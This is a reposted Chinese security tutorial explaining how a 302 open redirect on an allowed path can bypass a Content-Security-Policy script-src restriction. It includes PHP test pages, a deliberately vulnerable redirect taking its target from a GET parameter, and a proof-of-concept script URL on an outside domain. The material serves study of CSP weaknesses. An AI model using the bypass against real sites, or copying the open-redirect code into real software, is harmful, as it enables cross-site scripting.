IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

CSP进阶-302 Bypass CSP

发布时间:2016-12-02 21:39文章来源:互联网文章作者: 佚名点击次数:
CSP真神奇,前段时间看了一篇国外的文章,导致有了新的体验,302不仅仅可以在ssrf中有特殊的表现,就连csp也可以很强势。 漏洞 让我们逐步分析漏洞的成因 根据文章,首先我们意识到如果我们构造一个重定向,就可以bypass CSP的域限制,在分析之前,我们先看

CSP真神奇,前段时间看了一篇国外的文章,导致有了新的体验,302不仅仅可以在ssrf中有特殊的表现,就连csp也可以很强势。

漏洞

让我们逐步分析漏洞的成因

根据文章,首先我们意识到如果我们构造一个重定向,就可以bypass CSP的域限制,在分析之前,我们先看一个测试页面

<?php
 header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/");
 ?>
 <html>
 <head>
 </head>
 <body>
     csp header test 
    
     <script src="/test/js/test.php?u=//xss.cc/myjs/a.js">
     </script>
 </body>
 </html>

这是一个比较常见的包含csp的站,整个站都在/test/下,/test/js/下包含正常的js.

而CSP中仅仅允许了两个域

http://127.0.0.1

http://xss.cc/the_only_allow_dir/

在第一个域下的某个位置有个可以定义重定向的页面,比如

http://127.0.0.1/test.php

这里测试的时候写在了根目录下,不过是要是域内允许的任何为之都可以

<?php
header("Location: " . $_GET[u]);
?>
这样的功能一般多出现在登陆页面

第二个我们需要一个被允许的域,比如http://127.0.0.1/里一般会有js目录被允许,然后可能存在upload域可以上传一个js

这里我们允许了http://xss.cc/the_only_allow_dir/这个域,然后在

http://xss.cc/myjs/a.js

写了一个js,内容是

alert(32)

现在所有的条件都具备了,打开上面的测试页面。

成功了

漏洞的限制以及必备条件?

在成功之后,我们可能需要讨论的更多,那么这个漏洞的限制在哪

如果我们不允许302所在的域

代码成了下面这样

<?php
   header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
   ?>
   <html>
   <head>
   </head>
   <body>
       csp header test<!-- 
       <script>
       document.cookie = "csp=" + escape("[email protected]&*JDSJddsajhdsajkh21sa213123o1") + ";";
       </script>
-->
       <script src="/test/302.php?u=//xss.cc/myjs/a.js">
       </script>
   </body>
   </html>

这里我们把302.php放在了站的根目录下,而我们只允许了http://127.0.0.1/test/js/和http://xss.cc/test/两个域下,很显然,302.php并不在被允许的域,结果显而易见。

被CSP拦截了

去掉外域的允许

将代码改为

<?php
   header("Content-Security-Policy: script-src http://127.0.0.1/test/js/");
   ?>
   <html>
   <head>
   </head>
   <body>
       csp header test<!-- 
       <script>
       document.cookie = "csp=" + escape("[email protected]&*JDSJddsajhdsajkh21sa213123o1") + ";";
       </script>
-->
       <script src="/test/js/302.php?u=//xss.cc/myjs/a.js">
       </script>
   </body>
   </html>
        
CSP进阶-302 Bypass CSP
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/diannao/wangluo/596129.html

标签分类:

上一篇:上一篇:信息安全人员招聘趋势:网络安全领域急需的8大热门技能,你达标
下一篇: 下一篇:没有了
无觅关联推荐,快速提升流量